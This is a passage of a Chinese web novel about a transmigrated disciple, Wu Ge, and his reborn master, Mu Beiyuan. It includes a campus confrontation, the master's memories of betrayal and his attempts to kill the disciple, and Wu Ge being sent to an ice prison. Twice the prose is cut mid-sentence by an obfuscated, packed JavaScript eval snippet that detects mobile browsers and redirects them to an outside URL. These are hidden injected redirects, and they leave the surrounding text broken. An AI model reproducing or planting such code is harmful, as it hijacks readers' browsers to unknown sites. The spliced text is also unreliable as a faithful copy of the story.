“嗯?怎么了?”慕北源放下保温杯,有些好笑地看着他,眼睛弯成一条缝。 乌歌向来有话直说,他刚想开口,说那封匿名邮件是他的,一个篮球突然飞来被人扣在手里,留着潮流杀马特的男生打断了他。 “这不是慕哥吗?”陈丰宴脚踩座椅,疙气十足,打量的目光在两人之间流转。 “诶呀,这不是我们伟大的校霸吗?这次准备勾引谁了?” 乌歌眸色一冷。 “慕哥有空和校霸在这里吃饭,没空赏脸和兄弟们去玩一玩?”陈丰宴像是没看见似的,戏谑道。 慕北源继续保持着微笑的表情,只是眼里冰凉一片。 “同学,我和你熟么?” “不知家母有没有教导过你,和陌生人套近乎是很愚笨的行为。” 乌歌也凉凉地看了眼陈丰宴,趁两人说话间拿过汤碗里的汤勺,翻转一面,勺柄对着座上的脚一掀,将人掀开来。 “将你的臭脚拿开,懂不懂饭桌礼仪。” 乌歌仗着学生会会长在旁边,料定对方不会动手,一脸得意。 “小猫咪你别怕,哥护你!” 慕北源听到那三个字被茶水一呛,随后露出个不失礼貌的笑容。 “你!”陈丰宴脸色青白,他看了看梗着脖子拿鼻孔瞧他的乌歌,又看了眼在一旁慢条斯理喝茶的慕北源,突然嗤笑一声。 “我说呢,难得见校霸这么护着人。” “原来这次勾引的对象变成慕哥了,两个男的。”陈丰宴顿了顿,一字一句道。 “也不嫌恶心。” 哐当。桌上碗筷被人全部扫开,乌歌猛地起身,眸中冷意弥漫,他双手紧握成拳,指节用力得快要泛白。 血色从眼底散开。 ——他说我恶心,说我们恶心。 其实乌歌不是会在意他人说辞的性格,但这句话出来的瞬间,他的全身上下都叫嚣着教训他,让这个人再也说不出质疑的话来。 像是与生俱来,穿越遥远时空回到远古,在某个时空,发生着同样的事,有人说着同样的话。他毅然站在山峰之巅,做着自认为对的事情。 谁也不能阻止。 察觉乌歌的状态不对,慕北源指尖一顿,犹豫片刻还是把手覆了上去,轻微摇头。 在感受到手上温度的那一刻,乌歌意识竟然逐渐清醒,血丝褪散。 冰雪初融,烈火缠身。 “慕哥你不觉得恶心吗?这家伙本来就不该出现在这里,明明身无分文,凭什么进来学校。” “毫无牵挂的模样,没心没肺像只流浪狗,见谁不爽就乱叫乱咬。” “还是个同性恋!被这样的人缠上,恶不恶心啊!” “乌歌你真是恶心透了,真以为慕哥对谁都温柔,所以可以毫无底线的接纳你那肮脏的心?” 陈丰宴被乌歌那毫无波澜的眼神给刺激到了,不顾这是在人多的食堂,大吼道。 “你应该清楚,这里永远不会有人接受你!” 能接受到周围其他同学看热闹的视线,乌歌只是冷漠地看着他,缓缓从口中吐出两个字。 “废物。” 他咧开嘴开心得笑了,露出几颗尖牙。 “我喜欢他又如何,你只是嫉妒我。” 是阵风袭来,陈丰宴直接一拳打向乌歌的面庞。 乌歌刚想避开,顺便来个飞踢教他做人,就见那拳头被一双筷子隔空打下。 筷子的主人正是一直默不作声的慕北源。 他淡淡地看了眼把脚提起来准备踹人的乌歌,后者被盯得一心虚,乖巧坐下。 慕北源把目光转向一脸愤懑的陈丰宴。 “我不认为喜欢男生是什么不耻的行为,从医学角度来说,这是正常的现象。” “每个人都有选择喜欢对象的权利,这个世界厌烦同性恋的人居多,我不反对你的观念。” “但这个世界,也有很多喜欢同性却被世人不耻苦苦挣扎的人,你可以不理解,可也请你尊重。” “乌同学很好,他不是你口中的那般不值钱。”慕北源轻轻地笑了。 “至于被他喜欢,我也没有其他的想法。” 在一边坐着的乌歌闻言有些失落,搭在腿上的手指慢慢攥紧了衬衫的衣角。 “但是也不讨厌。”慕北源又说。 语毕,也不管那人的反应,慕北源屈着手指轻轻敲了敲跟衣角较劲的人的手背,在乌歌有些呆愣的眼神中轻叹口气,像是在无奈学弟的迟钝。 “乌学弟,该走了。”慕北源拉起继续发呆的乌歌,离开前又似乎想到什么,在周围同学震惊的目光中对着发愣的陈丰宴缓缓道。 “对了,陈丰宴同学,恶心人的其实一直都是你,你只是见不得别人比你好。” 食堂一片唏嘘声,在悠然离开的两人身后宛如英雄打脸反派成功落幕的背景音乐。 “学,学长……”乌歌下了三楼才意识到刚刚发生了什么,他看着前面一言不发的人,有些拘束,学着学校里的人匆忙唤道。 生怕眼前的人会离开他,抛弃他。 就像以前。 哪怕两人素不相识,可是他就是觉得他们应该认识的。 或许在千年前,也可能是在另一个世界。 慕北源转过头看着他,眸里似乎含着淡淡的笑意。 “我在。” “学长,我叫乌歌,计算机系的,离医学系不远的,以后请多指教!” 突然来句没头没脑的开白,乌歌有些懊恼,他的情商明明没这么低的。 对面的人只是沉默半晌。可这半晌也让乌歌跳动不止的心有些落寞。 何尝想过,那个发誓“只是逗一逗”的校霸竟然第一次尝到被打脸的滋味。 突然,站在楼梯前面的慕北源上前两步来到乌歌身边,清新淡雅的雪梅香侵入他的嗅觉。 也不知道学长用的什么沐浴露还是洗衣液,香的他似是要醉了。 这时,一只温暖的大手覆在乌歌的发顶上揉了几下,动作轻柔得像是一片羽毛掠过湖面。 荡起涟漪,轻不可察也忽视不了。 “我叫慕北源,请多指教。” “很高兴认识你,乌学弟。” 乌歌顿时僵在原地,结巴着。 “还,还有那封匿名邮件,是我的……” “噗。”慕北源短促地笑了声,“我当然知道。” 像是两只流浪在外的小动物于某个巷角相遇,猫耳贴着犬尾互相取暖,低声细语。 ——你看,在这个世界上,总会有人接受你的。 ——但我希望,那个人是你,不论到了哪里。 8. 记忆断层 “学长……学长……嘿嘿。” 打扫得一尘不染的木屋中,床上昏睡的少年梦中呓语。 屋内烟雾缭绕,点燃的安眠香旁边,背着道颀长人影,银丝如瀑,月光倾泻好似与人融为一体。 那人听到屋中轻到溢进晚风中的低语,侧过头垂眸望着床榻鼓起的被包,褐眸在昏黄的光下染上一层温柔,笑意却不达眼底。 慕北源走到榻边,伸出手搭在那颗毛茸茸的发顶上,动作轻柔,一点点落在露出来的那截白皙脖颈,常年握剑的指腹带有薄茧,蹭得少年下意识得往被里躲。 白虎峰四季如冬,年年下雪。 两人待着的简洁木屋,氛围却似暖春。 慕北源的动作仍旧轻柔,万千银丝垂落在枕边,距离近的能看清乌歌面庞上细小绒毛。 他无声叹息,语气落寞:“你说,为师该拿你怎么办才好,圣子殿下。” “你的诅咒应验了,本君身边的一切都没有了。” “这是你的报复吗?报复我的无情,报复我毁掉了你,毁掉了魔族。” “所以你也毁掉这里,然后再从头开始。” 他眸里似乎含有冰霜:“是这样吗?逆徒。” 躺着的人无法回应,嘴唇蠕动。 慕北源低头窃听。 “学长……等,等我。”乌歌眼角泪滴划过,被人用手拂去,印下一点殷红。 “学长,那是谁?你在魔族的内应?” 慕北源浅褐色的玻璃眸竖起一道金色,周围气息骤冷,他猛地攥紧乌歌的脖子,寒霜于脚下蔓延爬到屋内各处,冷似腊月寒冬。 “魔族之子,不能留。” 他听到自己的声音冷得仿佛地下阎罗。 哪怕这是乌歌对自己冷酷无情的报复,哪怕世界重启,一切重来。 哪怕要再给他一次抉择的机会,他也会毫不犹豫把剑刺进人的胸膛。 这是苍生给予他的信任,这是天意赋予他的责任。 仙魔对立,与生俱来无法改变的命运。 “不,不要!北源!” 少年面色苍白,呼吸急促,窒息感带来的红晕蔓上脸颊。 熟悉的竭斯里底的制止声充满了无助,记忆中,那人浸满水光的红眸浮现于前。 “为什么……你知道,我明明爱你。”魔族圣子的爱意炽烈狂热,宛如无尽深渊。 指尖微顿,慕北源忽的睁大双眼,瞳孔震动。 他慌忙松开手,任由手心中那软绵绵的脖颈塌回枕中,又半扶着额头撑在床榻上,眉头紧皱。 他是想杀了乌歌的,昨日晚上意识回笼的那一瞬,杀气几乎是瞬间穿透云生宫,充斥了整片镜花林。 因为好巧不巧,这一天正是一切故事的开端,乌歌亲自叫人送来的膳食安静搁放在桌案上,虽然很不想承认,很不想面对。 但眼前的景象无时不刻提醒着他,他回来了。 那一天,称得上是世界末日,消灭了魔族,重建了四象神峰,得到天道认可的慕北源成为了神魂大陆的万古天尊。 他的身边站着那位要与他私定终身的“女主”。 慕北源却没有什么心情,他其实觉得,自己并不喜欢身旁女子,总感觉心里一角哪里空落落的。 他也总觉得,这世界好像一点也不真实,有什么一直在控制他的认知,控制他的情感。 慕北源向来有话直说。 “小安,我想,我们还是不合适。” 红衣女子闻言嘴角一僵,声音听着竟有些颤抖。 “亲爱的,你说什么?” “我说,我们不合适,我不喜欢你,一直都是。”慕北源淡淡道,“抱歉,耽误你这么久的时间,虽说这门亲事是天道降谕,按理说本该是天作之合。” 他垂眸看着腰间玉佩有些恍惚。“可我对你无感,这也是事实。” 玉藻安沉默片刻,回过头轻声询问:“那你对谁有感觉,乌怀生吗?” 慕北源眼眸一凛:“小安,莫再提那叛徒姓名。” 接着顿了顿,道:“直呼其名也不行,他是你师傅。” “是啊,你留我在你身边,也是因为我是他收的唯一一个弟子吧。” 慕北源摇摇头:“不……他是叛徒。”随后张着嘴似乎还想说些什么,又闭着眼略带疲惫地抚上眉头。 “藻安,你走吧,再不济本君为你另寻他人也好……” 身后没了女人的回应。 走了吧……走了也好,这样才是最好的结局。 慕北源淡漠看着天边升起的明月,情不自禁伸出手,下一秒,他身子一顿,手软绵绵垂落搭在腹部上。 鲜血染红了雪白衣袍。 女人手里拿着剑,利落地从慕北源腹部穿过又抽出,剑尖滴着血滴。 她知道慕北源对自己毫无防备,所以肆无忌惮地接近他的弱点,在预想到有这个结果前,在和慕北源定下婚契的那一刻她就以此为契机在人体内种下毒素。 一种能杀死神明的毒。是主人赐给她的,说是以防万一。 “没想到,还是用上了。”玉藻安轻蔑一笑。 “你说你啊,若是你喜欢我,大家就能相安无事。可是偏偏,你不愿走主人为我们选好的那一条路。” “不听话的代理者,需销毁重置。” 女人说的话慕北源一句也听不到,只看见玉藻安绕到他身前,笑着举起手中剑晃了晃。 他瞳孔微微震动。 那是乌歌的本命剑,雾草。 可是明明这把剑在乌歌被处死的那一天就消失了啊。 不……不会是这样的。慕北源意识逐渐模糊,可他不愿深想,直到他的视线中缓缓浮现一道熟悉的黑色人影。 那一切就都清晰了。 乌歌出现在了女人身后,嘴巴一张一合好像说了点什么。 “呵……原来如此,是本君瞎了眼。”慕北源苦笑一声,对着面前人一字一句道,“若是知道结果是这样,当初就该……灭了你的四魄,叫你永不入轮回。” 他还记得,审判魔头那日大雪纷飞,处死乌歌后,当天晚上他跪在四象神峰的灵堂中央在众前辈的木雕前控制仙鞭一下下在后背上打出条条狰狞血痕,他搁放在地上的护苍剑还滴着血,是他亲手插进乌歌胸膛所留下的心头血。 “罪人慕北源有三罪。” “一来,是北源教导无方,教出这么个逆徒,实在愧对仙门的各位前辈。”男人神色淡漠,一字一句道出自己的罪状。 “二来……是想与逆徒同去,算是偿命赔罪,毕竟徒之错乃吾之过失。但大道无常,人各有天命,北源使命未绝,不可意气用事。” “三来,若北源不过于溺爱,小徒也不会入魔族歧途,因此,不肖子孙——慕北源在此负荆请罪,愿受灵力剥削之苦,用千年修为换一次乌歌元神无恙,可转世成人,平安顺遂。” “在此向天道起誓。” 而此刻,看着俩人站在一起的身影,慕北源只觉得可笑。 “是本君……错信了一次又一次。” 想来,是乌歌和他的徒弟演上了一场戏。反观只有自己被蒙在鼓里这么久,最后傻傻的成为了仇人的垫脚石。 意识到这里,他眼皮渐重,再也支撑不住向山崖倒去,最后的几息,好像看见了那逆徒冲来的身影。 ——若能重来,本君不会放过你们任何人。 后来的后来,他就记不得了,只知道虚空出现一条条血红裂缝,日月同出,雪、风、雷暴齐出。 慕北源能感受到自己的身体变轻,好像看见淡淡紫光萦绕周围,护住他的心脉和记忆,保证一切重启的时候,他还能记住。 “对不起……对不起。” ——又来了。 “睡一觉吧,醒来,就好了。” 额间落下一片温热。 慕北源彻底没了意识。 ——他记不住的,这一切都被规则束缚了记忆。 “师尊……原谅我。” 记忆被猛的拉回。 慕北源静静看了一会儿膳食,寒气弥漫中,隐隐散发黑气的汤食被毁灭成灰,消失殆尽。 他等待着第二天清晨那人带着真面目的虚伪笑容,准备在所有剧情还未开始的那一刻了解叛徒生命。 不会再给他一点下灵魂诅咒的机会。 只是万万没想到,在他做完准备的几分钟后,少年骑着巨狼慌忙慌张闯进结界,在镜花林的迷雾中急得团团转。 少年提前来了。 他看着身着亲传弟子服装的乌歌跪在原地不断解释,不止一次地在双手触摸到人脆弱脉搏时想要一掌捏断。 小徒弟却猛然抱住了他,像小时候乖巧的那个懵懂男孩一样,捧着一颗炽热忠诚的心向他跌跌撞撞着跑来。 慕北源突然想到。就这么让人死了,不值得,乌歌昔日犯的错误,要一一弥补,慢慢地,重重地罚。 少年的行为怪异,万一和他一样,也重生了呢?那么这一世的结局就有了不确定性,说不定还有魔族新的阴谋。 至少,把人的阴谋全部剖开,再杀了他。 慕北源给小叛徒准备的第一份礼物,就是以凡人身躯承受六十杖打,布满荆棘的粗壮仙棍会打的人神魂俱灭。 若是承受不住,便是他的命了。 只是万万不该,他出手干扰了惩戒,现在慕北源想起还觉得不可置信。 他当时记得,心里有道声音控制着他,不容置喙。 ——救他!快救他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883367|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像看着眼前之人被活活打死在面前,会有不可挽回的事情发生。 慕北源闭上眼,心渐渐低沉下去。 “最后一次了……” 他轻声喃喃道。 “虽不知道是什么东西淡化了我对你的杀意。我暂时不会杀你,若这一切还能改变,若你真的能藏起心思,不再执迷不悟。” “为师就放过你。” 月色朦胧,天河翻涌,腰间玉佩散发着淡淡白光。 “但你别再想着留在我身边,否则我真的……” 停顿半秒,男人的声音冷冽缓慢,轻的快要听不见。 “会杀了你。” 屋内陷入静寂,灯火熄灭。天边夜空一角,繁星闪烁,窗外的镜池,能倒映出那道背光而站的苍茫人影,坚韧又孤独。 寒霜退去,暖阳回春。 可尽管如此,也不妨碍慕北源恨乌歌,恨这个阴险的叛徒,恨这个以下犯上的逆徒。 如果重来一世,最终等到魔族重见天日的那一天,剧情重新回到正轨。 他还是会选择亲手了解乌歌。 慕北源面色淡然,望着夜空云层那一轮明月,他好像想起什么,手摸索到腰间挂的月牙玉佩。 传说,在魔族卷土重来,苍生历劫大难之时,早已绝迹的神兽白虎将跟随天道之子降临世界,维持三界众生和平。 北极星陨落凡尘,月光于一夜之间消失,慕北源自出生的那一刻,除了伴随身边的白虎幼崽,就是这个由月光形成的紫色玉佩。 白虎助他惩奸除恶,玉佩保他百魔不侵。 战神降,邪魔灭。 “可是为什么……喜月玉还是放你来到了我的身边。” 慕北源心下不解,他站在窗前望着圆月,看了一会儿回过头,视线落在床榻上。 男人缓缓走到少年身边,思考片刻,伸出手从虚空中扯出一条裂缝,一把散发寒光的雪白长剑自空中抽出——护苍神剑。 他把剑锋对准乌歌脖颈,一点点抵上去,似乎想要确定些什么,他半垂着眼,下定了决心,手腕发力猛的把剑刺上去…… 叮—— 剑尖于离命脉几寸的地方被生生控制下来。 ——住手!快住手啊! 他能肯定,上辈子心中绝对没有这样的声音。 有东西在控制他不能对乌歌下手。 慕北源收回护苍剑,面色阴沉。 他紧紧看了乌歌几秒,背过身轻打响指,烛火熄灭,暖春归于静寂灰暗,只能听到木门“吱嘎”一声打开,脚步声愈来愈远。 裹着梅香。 “白虎峰首席弟子乌歌,因为修习邪道,欲对本尊图谋不轨。” 冷冽嗓音在白虎峰上下回荡不绝。 “现给予严厉惩戒,关进冰极领域禁闭反省。” “时长不限,生死自负。” 木屋内,慕北源走后的不久,床榻少年突然睁开血红圆眼。 乌歌眼里装着两轮明月。 他极轻地眨了眨眼,微弯的眼角似乎带着点笑意。 【噢天哪,刚刚发生了什么?我竟然被屏蔽了。】 【什么是我不能听的,主系统又这样!】 0525刚从小黑屋出来就听见白虎峰那人气势磅礴的宣告。 【怎么会变成这样呢?主角什么时候知道真相的!】 【他竟然没有杀死我们……难道,难道是想要折磨宿主?!】 【天哪天哪,任务刚开始就要结束了吗,呜呜呜……】 【主系统大人,宝宝对不起您啊!】 识海中,一个毛茸茸的白色光球不断蹦哒。 【宿主宿主,我们完了,你……】 【啊!宿主你什么时候醒的!】 “乌歌”慢吞吞转了转猩红眼珠,定在角落那隐隐约约出现的白光,突然轻笑一声。 “你还是没有死心,对吗?” 那人的声音竟带上了点阴狠之色,让0525感到陌生。 【宿主,你……还好吗?】 “是呀,0525,我好到不能再好了。”黑衣少年终于有了回应。 “你的上司还好吗?这几年天天处理世界bug,活的挺辛苦吧。” 【你怎么知道我的编号!你不是乌歌!】 0525慌了,识海中机械乱码凝成一片。 【你是谁?】 “我就是我,这个世界的极恶存在。” “你不需要知道太多。” 后者刚轻飘飘地说完,眸里血红迅速褪去,恢复那双黑曜石般的狭长墨眸。 乌歌缓缓闭上眼睛,头一歪再次埋进柔软被窝中。 “好好睡一觉吧,亲爱的小少年。” 9. 所谓天命 哗啦。 冰冷的凉水自头顶倒下,顺着半敞的衣领流进内袍,凉得刺骨。 乌歌被刺激得一哆嗦,猛地睁开双眼,只觉得水似乎要灌进四肢百骸,全身湿了一片。 还没反应过来发生了什么,下一秒,就感到腰腹一紧,好像被什么东西给缠住了,然后“啪”得一下被拽出了床榻,摔在地上。 “咳咳……” 被鞭打的伤还没好,又淋成了落汤鸡,那水似乎撒了盐,伤口火辣辣的疼,痛的人龇牙咧嘴。 刚刚还呛了好几口水。 好不容易把喉咙里的水咳出,乌歌眼圈都咳红了。 “艹……要命啊。” 乱成浆糊的大脑逐渐清醒,发白的眼眸恢复深邃清明。 映入眼帘的是两三个没见过的陌生弟子,但腰间挂着的金边令牌他简直再熟悉不过了。 是净心堂。 为首的墨袍男子扯了扯手中金绳,乌歌又一个趔趄差点原地“拜年”,他下意识挣了下身子。 “慕掌门有令,白虎峰首席弟子乌歌修习邪术,下药欲对掌门以下犯上。” 裴天成微微蹙眉,语速缓慢,眼里是藏不住的嫌恶。 “现将乌歌关入冰极牢狱,受雪魔侵袭之罚。” “时长不限,立即执行。” 裴天成迅速拽起金绳,像是拎着一个破布娃娃一样拖着乌歌就走。 “执行者,净心堂大弟子,裴天成。” 乌歌不知道自己又怎么惹到面前这位冷面大哥了,那眼神恨不得把他碎尸万段。 从刚才被泼水到现在遭绑,他还一脸懵。 直到被拽到门口,他才忽的想起。 裴天成……裴天成……原来是他啊。 书中的裴天成作为净心堂大弟子,刚正不阿,正义凛然,平时最瞧不上的,自然就是乌歌这种仗势欺人、无恶不作的“廉价”大师兄。 原身在书中被擒后,要受的第一项惩罚就是散魂鞭,施刑者便是裴天成,那打得叫一个狠,乌歌虽没详细写,但依然记得那一小段文字。 ——“叛徒乌歌终于被擒,当天下午就被送入净心堂受了九九散魂鞭,打得血肉模糊,魔骨竟被生生打断,再也无法站立。” 想象了一下那画面,简直不要太美。 他下意识咽咽口水,乌歌有种想穿回以前,给电脑前的自己一巴掌的冲动。 ——玛德,你是真闲,把自己写的这么惨!变态啊! 【宿主……你还好吗?】沉默了很久的系统突然出声。 【好……好到不能再好了。】 ——再好就要上天堂了(┯_┯) 0525观察了宿主很久,战战兢兢道。 【宿主还记得刚刚发生了什么嘛。】 【废话,当然记得。】 0525:! 【呜呜呜呜,我一醒来,我的好大儿就要罚我……】 0525:呼…… 对嘛,这才是他的可爱小宿主。或许刚刚只是小世界的一个bug,它相信主系统能处理好哒! 【没事啦宿主,咱们兵来将挡,水来土掩嘛!请你相信宝宝!】 【可我现在心情倍凉。】 但令乌歌更心凉的是,慕北源要把他关入冰极牢狱。 冰极牢狱,白虎峰的极冰秘境,是四大神峰中最令人闻风丧胆的监狱。 进去的皆是极恶穷途之人,但再硬的骨头,进了冰极牢狱,也只有死路一条。 原因无他,这里是唯一一个有着千万雪魔的地方,雪魔以修士血肉为食,包括魔修。 而在极冰的环境里,修士往往不是雪魔对手,弱点的,直接冻死也是大有人在。 原书中,“乌歌”被断了魔骨后也被送进了这里,只是乌歌哪怕无法站立,也硬是爬着吞噬了大半前来杀他的雪魔。 他自知不敌,燃烧元神。 导致的悲惨结果,是他的筋脉被雪魔强悍力量冻结,差点爆体而亡。 或许他连吞噬雪魔都做不到。 乌歌悲惨地想。 他现在可是没有接收到一点原身的修炼记忆,别说魔功,连最简单的弟子心法他都不知道。 他明白,慕北源想杀他。 ——可是为什么?他分明还没有暴露魔族身份,顶多下药想要以下犯上。 自己的弟子只是喜欢他,慕北源竟然如此狠心,即便这样也要杀了从小养大的徒弟吗? 乌歌内心悲凉到了极点。 “而且我也没有再与魔族联系……一天过去,四象神峰明明还好好的。” 乌歌又小声嘀咕。 “缺心眼,才没有你这种儿子。” 哼,小气。π_π “警告你别耍花招。”又一个弟子回过头,恶狠狠道。 乌歌下意识翻了个白眼。“行了哥,我乖着呢。” “……” “他刚刚是不是翻白眼了?”一个弟子耸耸肩。 “他就是翻白眼了对吧!” “哥,你可能眼神不好,我确实翻白眼了又怎样。”乌歌狡黠地眨眨眼睛。 “你!老子今天要替天行道!”那名弟子气的抽出长剑。 “来呀来呀,你打我噻,你打我噻。” 场面一度不可控 。 走在最前面的裴天成停下脚步,转过头呵斥一声。 “都闭嘴!” 乌歌赶紧捂住嘴,做出手拉拉链的动作。裴天成似乎存心要教训他,捆住自己的金绳又紧了几分。 “嘶,裴师弟……轻点啊。”乌歌不满且目光谴责。 “谁是你师弟!我才不认你这个师兄。”裴天成怒目圆睁,低声呵斥。 “别急啊,怎么不是你师兄了?”乌歌一点不恼,贼兮兮地凑过脑袋:“你小时候,师兄还抱过你呢。” “小时候的你,那叫一个可爱啊,还会屁颠屁颠跟在我后面,一口一个师兄……” 咚—— 裴天成一拳砸断面前挡路的树干,面无表情回头看了眼人。 “……咳。” 乌歌短暂地移开视线,几秒后,他又笑呵呵想要搭上人肩膀,动了几下才想起自己被绑住了。 “……” 于是他准备打感情牌了。 “可怜可怜我吧,师兄真的错了。”少年语气略显委屈,就差耷拉着狼耳在人身上蹭蹭讨饶。 “裴师弟,你真的忍心看师兄送死吗?” 乌歌眼角一片绯红,黑眸里蒙上一层水雾,好似下一秒就要落泪。 “那是你应受的!谁叫你对掌门无礼。”裴天成想起这事就恨不得揍人一顿。 “还……还对掌门下那种药……” “可我只是太喜欢师尊了,我这辈子最亲的人就只有师尊了啊!” 少年像是被戳破了内心最后的屏障,声音都带上了哽咽。 【宿主,你……】0525看着这一系列发展,震惊不解。 【别吵吵,老子演戏呢!】 “我就是,想一直待在师尊身边,我不知道师尊讨厌这样……” 乌歌红着眼眶,眼泪顿时就流下来了。 “若师尊不喜,弟子愿改,只求师尊放弟子一条生路,弟子这辈子唯有师尊了。” “呜呜,师兄真是太痴情了!” 裴天成还没说什么,一旁的小弟子们倒是先哭上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883368|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师兄,虽然你以前真的很混账,想要你死的人也很多,呜呜……” “可是你先别死,至少让我缓缓再死,噢天哪,这是多么悲惨的故事!” “我知道我知道,这就是师妹给我说的爱而不得。” 乌歌:……谢谢你嘞。 他又把视线投向面前黑衣男子。 裴天成沉默片刻,斟酌道:“此乃大逆不道之事,终究要受罚的。” 哟,看来有戏! “裴师弟,我真的不想死,我可以去跟师尊解释的,大不了成为一名罪徒,只要默默守护在师尊身边就好。” “是,我不对,喜欢师尊此乃大逆不道,可罪不至死啊。” “我的命是师尊的,要死也是死在师尊手里。” “拜托了……” 裴天成的脚步逐渐慢了下来,他有些动摇了。 万一乌歌,其实也没有那么万恶不赦呢?万一他真的想改了呢? 他的面部变化,乌歌全看在眼里,漆黑的墨眸闪过一丝轻蔑。 快要成功了。 “我可以……”裴天成终于下定决心,刚转身的一瞬间,腰间令牌却发出猛烈白光。 熟悉的冷冽男声传过每一个人耳中。 乌歌心底蓦的一沉。 “勿要耽搁,不管乌歌如何解释,本君都不想听,也不会听。” 慕北源站在水月镜前,通过连接了通灵令牌的镜面看到了方才的一切。 他眸色渐冷,想到乌歌眼眶说红就红的委屈模样,心里不禁嗤笑。 “演得倒挺好。” 慕北源的声音带着不容置喙。 “将他送入冰极牢狱,立刻。” 说罢,通灵令牌才恢复了黯淡无光的样子,但大家皆心知肚明,慕北源一直都在看着。 裴天成看了看在一旁快要原地石化的“罪人”,嘴角微抽。 “看来你和我们说是没用的,掌门不愿意原谅你。” 他顿了顿,道:“或许这就是你的命了。” …… 哐当。 雪峰尽头的山门缓缓打开条裂缝,乌歌刚解了绑就被人推进结界。 “进去吧你!” 白光一闪,山门迅速缝合发出沉闷响声,黑漆漆的山洞唯有冷风凛冽。 一片寂静。 “我还是不敢相信,掌门原本是那么地纵容乌歌。” 结界外,看守的弟子感叹着。 “得了吧,早该遭报应了,这宗门里因为他死的弟子还少吗?” “说不定做的坏事被掌门全扒出来了,听说他还给掌门下药。” 另一名弟子语气里是藏不住的幸灾乐祸。 “这修的邪术,不会就是勾引人的魅术吧?” “诶……咎由自取啊。” 毕竟是金丹大圆满的一代宗师,白虎峰首席弟子。 更是慕北源……未来的接班人。 而这一遭,白虎峰上下将会全面洗牌,昔日那四大天骄的排行榜上,将再无乌歌姓名。 好似大梦一场,落叶归根。 那结界内,冷风簌簌的山洞角落,乌歌呆在原地站了好久,脑子里全是裴天成对他说的那句话。 ——这便是你的命了吧。 命?他这人从小到大,唯独不相信的就是所谓命运。 【宿主,这,这就是冰极牢狱吗?宝宝有点慌……】0525瑟瑟发抖。 “不,这只是一处山洞罢了。”乌歌淡然不惊,往洞口亮光处走了两步,仅仅一动,脚下就踢到了一个圆滚滚的东西。 是颗骷髅头。 乌歌突然轻轻笑了笑。 “山洞外,才是真正的炼狱。” 10. 冰极牢狱 乌歌踏着满地白骨,颤颤巍巍站到了洞口。 大雪纷飞,白茫茫一片。 他扶着洞壁环顾了四周,确定没有可疑的雪魔身影后终是长舒口气。 “竟然没有雪魔在外面堵着我。”乌歌望着苍茫天地,喃喃道。 也不知道该不该庆幸。 【宿主,你的修为被封,现在就和普通人无异,即使没有雪魔,也会被冻死啊。】 “慌什么。”乌歌淡淡道,“慕北源不就是想试探我的身份吗?” 【啊?】系统懵逼中。 “来的时候就觉得不对劲了,看见他的时候,他那眼神不是一个师尊看向爱徒的表情。” “倒像是在看一个仇人。” 乌歌自顾自分析着这几天发生的一切。 “按照原书剧情,即便是发现了乌歌叛徒身份,也是在魔军破开山门的那一天。” 【那这样的话,男主为什么不先动手呢?】0525语气略带迟疑。 “他没有证据,怎么动手?”乌歌轻笑着。 “原身能藏好魔气这么多年,岂是说暴露就能暴露的?” “想要扒开魔族身份,只能让我自曝。”乌歌不紧不慢着,声音暗哑。“为何书中的乌歌在全身筋脉被毁后再关进冰极牢狱,仍旧能吞噬大片雪魔?” 【因为……乌歌的纯种魔族血脉!】 “雪魔当年被剔除魔族之外,自是因为上代魔尊就隶属于雪魔一族。” “同为血脉精纯的魔族血脉,这雪魔的冰,伤不到我。” “慕北源故意不伤到我的魔根,只是封锁灵力,若是普通修士,绝活不过出境那一天。” “可如果是魔族,哪怕遇不见雪魔,也不会冻死。” “而几天后当那群修士看见我毫发无损时,那我的身份便不言而喻。”乌歌摇头叹息着。 “只是……可惜啊可惜,慕北源绝对想不到乌歌已经换了芯子,这魔功我无法运行,该死的还是得死。” 乌歌淡淡举起被冻僵的右手:“系统你看,这不就结冰了吗?” 见宿主如此冷静地分析,0525哽咽道【宿主,我刚见你还以为你是个单纯的傻小子……】 “是吗?可能懒得演了吧。” 系统:……所以原来是演的吗? 系统不语,只是默默调出身份背景板,白光团子伸出Q版小手攥着钢笔哗哗写起字来。 “干嘛呢?” 【修改宿主的属性面板!】 乌歌随便找了块光滑的石头坐着,半撑着身子饶有兴趣看着虚拟团子在不远处奋笔疾书。 他好奇往前看了眼。 原本智商那一栏写的是“和哈士奇一样脑回路清奇”被红色彩笔大大划去,修改成了——装!死装!这人太会装了! 乌歌:…… 乌歌觉得嘴又开始痒了,刚想开口嘲讽,突然心底陡然冒上寒意。 一股浓烈的血腥味袭入鼻腔。 【察觉到不明生物靠近,危险!危险!】系统头上顶着一个巨大的鲜红感叹号,刺耳的电子音滋滋作响。 乌歌知道那是什么,几乎瞬间跳下顽石,他余光瞥向茫茫大雪中,只见得绿油油的光一闪而过。 “彭!”巨石碎裂,炸开的一刹那成了尖锐的冰锥四散开,乌歌一惊,原地打滚才堪堪躲过,他撑起身,被冷风吹得睁不开眼,直到一截泛着冷光的不明尖利物破空抓来。 上面是早已干涸的血迹。 “吼——”巨大的白色臃肿生物举起足有它脑袋那么大的爪子向乌歌拍去,黄豆大小的绿色眼睛闪着凶光。 是雪魔! 乌歌瞳孔猛的睁大,人在面对生死前的潜力顿时爆发,在锐爪挨着他擦过的前一秒,向后弯下背竟来了个标准的下腰。 